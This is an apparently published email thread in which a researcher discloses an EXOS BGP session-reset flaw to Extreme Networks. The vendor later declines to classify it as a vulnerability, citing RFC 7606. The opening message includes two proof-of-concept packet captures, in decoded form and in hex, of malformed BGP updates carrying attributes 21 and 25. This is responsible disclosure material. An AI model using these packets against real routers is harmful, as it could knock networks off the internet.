

# Bad BGP attribute parsing leading to EXOS BGP Session DoS

14 messages

Ben Cox <ben@benjojo.co.uk>  
To: security@extremenetworks.com

Mon, Jul 17, 2023 at 3:17 PM

Dear [REDACTED] Security Team,

While doing some research for a talk, I stumbled upon a remote DoS in EXOS that can allow a remote peer (that isn't the peer directly connected) to cause a BGP session to reset. This bug is similar to a recent JunOS issue CVE-2023-0026.

It appears to be a mishandle in how the Attribute 21 (PMSI\_TUNNEL) and Attribute 25 (IPv6 Address Specific Extended Community) is handled, I've confirmed in a lab environment that this will travel through many other BGPd's hop by hop before reaching a BGP session on a EXOS device and resetting it, meaning this could be exploited to cause a large amount of EXOS receiving full tables to disconnect from the internet.

===== BEGIN POC Packet (1) =====

```
11:07:46.966449 IP (tos 0xc0, ttl 1, id 41757, offset 0, flags [DF],
proto TCP (6), length 113)
 192.0.2.2.179 > 192.0.2.1.45918: Flags [P.], cksum 0xae64
(correct), seq 656:717, ack 122, win 1019, options [nop,nop,TS val
2182781882 ecr 1804839536], length 61: BGP
Update Message (2), length: 61
  Origin (1), length: 1, Flags [T]: Incomplete
   0x0000: 02
  AS Path (2), length: 10, Flags [T]: 2 65001
   0x0000: 0202 0000 0002 0000 fde9
  Next Hop (3), length: 4, Flags [T]: 192.0.2.2
   0x0000: c000 0202
  Community (8), length: 4, Flags [OT]: 123:2345
   0x0000: 007b 0929
  Unknown Attribute (21), length: 0, Flags [OTP]:
   no Attribute 21 decoder
  Updated routes:
   198.51.100.0/24
0x0000: 0ce5 9a69 0000 0c89 8013 0000 0800 45c0 ...i.....E.
0x0010: 0071 a31d 4000 0106 51a6 c000 0202 c000 .q..@...Q.....
0x0020: 0201 00b3 b35e 04eb 1404 af38 02bd 8018 .....^.....8....
0x0030: 03fb ae64 0000 0101 080a 821a 9bba 6b93 ...d.....k.
0x0040: aa70 ffff ffff ffff ffff ffff ffff .p.....
0x0050: ffff 003d 0200 0000 2240 0101 0240 020a ...=..."@...@..
0x0060: 0202 0000 0002 0000 fde9 4003 04c0 0002 .....@.....
0x0070: 02c0 0804 007b 0929 e015 0018 c633 64 .....{.).....3d
```

===== END POC Packet (1) =====

===== BEGIN POC Packet (2) =====

```
11:09:21.662044 IP (tos 0xc0, ttl 1, id 54645, offset 0, flags [DF],
proto TCP (6), length 114)
 192.0.2.2.179 > 192.0.2.1.45922: Flags [P.], cksum 0x5d0a
(correct), seq 282:344, ack 122, win 1019, options [nop,nop,TS val
2182876577 ecr 1804934232], length 62: BGP
Update Message (2), length: 62
  Origin (1), length: 1, Flags [T]: Incomplete
   0x0000: 02
  AS Path (2), length: 10, Flags [T]: 2 65001
   0x0000: 0202 0000 0002 0000 fde9
  Next Hop (3), length: 4, Flags [T]: 192.0.2.2
   0x0000: c000 0202
  Community (8), length: 4, Flags [OT]: 123:2345
   0x0000: 007b 0929
  IPv6 Extended Community (25), length: 1, Flags [OTP]:
```

no Attribute 25 decoder

0x0000: 21

Updated routes:

[198.51.100.0/24](#)

```
0x0000: 0ce5 9a69 0000 0c89 8013 0000 0800 45c0 ...i.....E.
0x0010: 0072 d575 4000 0106 1f4d c000 0202 c000 .r.u@....M.....
0x0020: 0201 00b3 b362 9102 5466 3615 f8e5 8018 .....b..Tf6.....
0x0030: 03fb 5d0a 0000 0101 080a 821c 0da1 6b95 ..].....k.
0x0040: 1c58 ffff ffff ffff ffff ffff ffff .X.....
0x0050: ffff 003e 0200 0000 2340 0101 0240 020a ...>...#@...@..
0x0060: 0202 0000 0002 0000 fde9 4003 04c0 0002 .....@.....
0x0070: 02c0 0804 007b 0929 e019 0121 18c6 3364 .....{.)...!.3d
===== END POC Packet (2) =====
```

Be advised, The current expected date to go public is 2023/08/28, but this might be flexible if the situation is dire on your end.

I've informed key Extreme customers (in my eyes) of the existence of these flaws as a way to prep them for patching.

There is also a VINCE tracker for this on CERT.org, that you seem to have access to, search for [REDACTED]

Please let me know when you get this email, and if you have additional questions

Thanks

Ben

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**Security** <security@extremenetworks.com>

To: Ben Cox <ben@benjojo.co.uk>

Mon, Jul 17, 2023 at 3:32 PM

Hi Ben,

Thanks for sharing your notes. We do prefer to share this type of information over protected methods. Do you have a PGP key to continue this discussion?

Extreme PSIRT

[security@extremenetworks.com](mailto:security@extremenetworks.com)

ExtremeNetworks.com

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-----Original Message-----

From: Ben Cox <[ben@benjojo.co.uk](mailto:ben@benjojo.co.uk)>

Sent: Monday, July 17, 2023 10:17 AM

To: Security <[security@extremenetworks.com](mailto:security@extremenetworks.com)>

Subject: Bad BGP attribute parsing leading to EXOS BGP Session DoS

External Email: Use caution in opening links or attachments.

Dear [REDACTED] Security Team,

[section removed] ....

Thanks

Ben

---

**Ben Cox** <[ben@benjojo.co.uk](mailto:ben@benjojo.co.uk)>

To: Security <[security@extremenetworks.com](mailto:security@extremenetworks.com)>

Cc: Ben Cox <[ben@benjojo.co.uk](mailto:ben@benjojo.co.uk)>

Mon, Jul 17, 2023 at 3:36 PM

If you must:

-----BEGIN PGP PUBLIC KEY BLOCK-----

```

mQINBFM2vyQBEACqu4uRQTvgagazGUXnMzqr5ffkZS+ljlDyRSw31UC7zKm77y3Y
24c5qLXna/UnD6Y7HPglbDHOI26Pp0f8oj0u3G0R26el3pLOHwNcwdIG/+TfSTk
uJQ/uy88xLa4LNWVIn/YRIJfio1Q3u8TE9tBQy2QNN9h31PN7bLKB5G9OHg8qaN
faGh7twozJfhufHNQv5oBMQBrcBqthRM0m4yT6xHAQyX9HOkqbbPF90ZaTCsS8yE
6H3AkMjPjU3vtHFxt77EZjPnuAb5qWDorz7DqmZ/hxunaD5Zb6/puiMhSxBX8YENX
lSnKML2Mtwr2++HYAtQi5bainDNc91+magc7v8719I908DgDcRY/eSaZKe4wXp73
fwcPzsEIISeCDBnhFJhAyQBs4J8wll+zOj6dsl1dCLTd7nNWJ9p8QJTaUkay2xRg
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PsS+btKOlwZRqzOYtFBg7rJ7c4PmYilppTIONWAYYMhmXd2SM63pTzLLC6SW3/Ueo
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tCdrZXliYXNlLmlvL2Jlbmpvam8pPGJlbmpvam9Aa2V5YmFzZS5pbz6JAJ4EEwEC
ACgFAIM2vyQCGy8FCRLMAwAGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEKqP
2DRWf4uLR+YP/A8MEsi4myP9qC6EWZaSUFR7PpzoX1ddAihc1XD2IGMsWLC/kNjU
SN29YzmR6nU5R0S169zKEe8F8RRuu5bormTieWXMA5DP0fyD1RL1JeXTGpZNUXMN
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AmfVQhmBP2oIjfr47Nfu18QOL9eb/ZAZffvcy/RQ5/P6817B1W4jOothdkKwLQGu
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VkmiDead/deVrLPDD+rsY48O+I9lpVniPauwV0YxpVrX6PBo5JD151sSup80EEIs
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9T9szbcCY4nwcQMSSgZ3yT4srjCxp8IYvtXjl49ruuu7/t5STTj/NxbmaKe31aJ8
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FBtfrM9Xi26Z6LdFa1Sunzsk2qU02x+JzxLrG/LHoR40lo08ZwOKTHKJNBCCFNer
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ptVOFfm8rN/bv+rLC0pniNefQ66lZEYz2zhy3bxxHcJukkzj2Hg3EYg0k9npbepq
772IPmbw8E8OSZ0AbVOUUm/6Jklb5ThC1lI0Vs1PNcMcE5ISz+WDooNcTh9oqVM3
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/ISFEmIPaMTWgYliZLH6Y+6Hburlah4A6Bx9kU3eERNW70tbXOUQf+P626mj4w5B
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8ixGS6n2LFt70bJODfFqWBva3ipg2T7Asuy5FybQ1+W8QP20s/0ASVwLp5PjNaxm
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oSqNiuBhk9peQrZktl64XBarQjJjbnqthpxXPvJH2/oOoU5uYwjQhXJF/nlgkVb
qdAlqQ7X7FfBOsjf3J4ciu4J635FX2pLMAv2b9o+CKzOSOIaAUGBwidiOrfW5KN3
16a21qfYNJ8lv+0AQc4DAin/g+u1KAHe8iXeb5jWToyIw48+R1aSx5Vzgrb32DWS
sD+zaQnCTqAMfpVMgFkFglb/JRtVZUCKPOOfYegp0w27FA6aE0cLjpoZbMpfFFJU
NsOUvt3vDiLXQcDvKbxPSyLJdiJwhfmDXEpiLiz5cFGJsduR2ixBDj5UKWTAoC/Z
oOMPVHK26Yv+exSwze/VtXwx72635rglLwRUGFGvfUqKyS3CXn10ODIWZl0eJb
7KfJQGaaEeC+vqcyjMkPySMYMWkG5/KEqUq5caJyW3wzR
=xZom
-----END PGP PUBLIC KEY BLOCK-----

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However this will mean that all replies will take significantly longer, as none of my clients can decrypt GPG email, so almost encrypted email needs a pretty tedious song and dance.

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Thanks, Ben. We understand.



As part of any coordinated responsible disclosure, we would prefer that no customer or other external communication occurs until we conclude on the resolution. There is also an expectation of a minimum 90-day review as part of these types of disclosures.

[Quoted text hidden]

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**Ben Cox** <ben@benjojo.co.uk>  
To: Security <security@extremenetworks.com>  
Cc: Ben Cox <ben@benjojo.co.uk>

Mon, Jul 17, 2023 at 4:27 PM

> we would prefer that no customer or other external communication occurs until we conclude on the resolution

I assume we have similar wider interests, mine is to ensure that the people who critically need to patch this to avoid being de-peered off the internet know about it as soon as possible and are ready to patch when that happens.

> There is also an expectation of a minimum 90-day review as part of these types of disclosures

I agree that is generally the expectation, however no promises I'm afraid. There are 5+ different vendors with similar problems, and they are also all patching and writing their own notices. Coordinating disclosure on all of them is going to be really difficult and anyone paying attention to the other vendors' publishing will figure out the one in other vendors. One vendor (OpenBGPd) has already published a patch and notice about it.

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**Ben Cox** <ben@benjojo.co.uk>  
To: Security <security@extremenetworks.com>

Fri, Jul 21, 2023 at 11:11 AM

Hey folks,

Can you confirm if Extreme is actioning this report? I have a strong feeling that the my report is going to be superseded by this talk <https://www.blackhat.com/us-23/briefings/schedule/index.html#route-to-bugs-analyzing-the-security-of-bgp-message-parsing-32162>

I'm going to contact them, but I suspect this issue will be publicly disclosed without me on Wednesday, August 9.

I would critically urge you to look into this if you have not already, since this has a good chance of causing your customers using Extreme devices on their network edge with other BGP peers to de-peer from the internet.

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**Security** <security@extremenetworks.com>  
To: "ben@benjojo.co.uk" <ben@benjojo.co.uk>

Fri, Jul 21, 2023 at 10:36 PM

Hello Ben -

Thanks for the heads up. We are indeed preparing a response. Some of our staff may have further issues they wish to clarify with you, or we can post to VINCE.

Regards,

Extreme PSIRT  
[security@extremenetworks.com](mailto:security@extremenetworks.com)  
ExtremeNetworks.com  
Advance with USTM

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 **openpgp-digital-signature.asc**  
1K

Fri, Jul 21, 2023 at 10:39 PM

**Ben Cox** <ben@benjojo.co.uk>  
To: Security <security@extremenetworks.com>  
Cc: Ben Cox <ben@benjojo.co.uk>

That's great news! If possible can we keep chatter to email? VINCE so far has caused lots of general spurious messages that I'm not sure have been very helpful to progressing a fix

[Quoted text hidden]

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**Ben Cox** <ben@benjojo.co.uk>  
To: Security <security@extremenetworks.com>

Wed, Aug 2, 2023 at 12:45 PM

Hey folks,

Are there any updates here? Extreme is the last vendor for this set of issues, Do you think there will be a response by Aug 9th or Aug 29th?

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**Security** <security@extremenetworks.com>  
To: Ben Cox <ben@benjojo.co.uk>

Wed, Aug 2, 2023 at 12:53 PM

Hi Ben,

We are still working through our processes. We believe we'll have a response by Aug 9th and definitely by the 29th.

[Quoted text hidden]

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**Ben Cox** <ben@benjojo.co.uk>  
To: Security <security@extremenetworks.com>  
Cc: Ben Cox <ben@benjojo.co.uk>

Wed, Aug 2, 2023 at 12:54 PM

Sounds great, thanks for the very fast update!

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**Ben Cox** <ben@benjojo.co.uk>  
To: Security <security@extremenetworks.com>  
Cc: Ben Cox <ben@benjojo.co.uk>

Thu, Aug 10, 2023 at 2:03 PM

Hi again!

Did Extreme publish anything yesterday in the end?

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**Ben Cox** <ben@benjojo.co.uk>  
To: Security <security@extremenetworks.com>

Mon, Aug 14, 2023 at 3:40 PM

Hi Extreme Security team,

Any updates?

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**Security** <security@extremenetworks.com>  
To: Ben Cox <ben@benjojo.co.uk>

Mon, Aug 14, 2023 at 4:01 PM

Hi Ben,

After review of all the material, we are not considering this a vulnerability due to the presence of RFC 7606, as well as a history of documentation expressing these concerns all the way back to early 2000s, if not earlier. Malformed attributes are not a novel concept as an attack vector to BGP networks, as evidenced by RFC 7606, which is almost a decade old.

As such, customers that have chosen to not require or implement RFC 7606 have done so willingly and with knowledge of what is needed to defend against these types of attacks. Thus, the expectation that we'll reset our BGP sessions based on RFC 4271 attribute handling is proper. We do abide by other RFCs, in which we claim support, that update RFC 4271.

Other vendors do claim RFC 7606 support and have been sharing these controls as a mitigation to malformed attribute response. They don't appear to be producing new work product to account for these behaviors.

We are evaluating support for RFC 7606 as a future feature. Obviously, if customers desire a different response, we'll work through our normal feature request pipelines to address. This is no different than any other RFC support request.

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> > > > mQINBFM2vyQBACqu4uRQTvgagazGUXnMzqr5ffkZS+3Y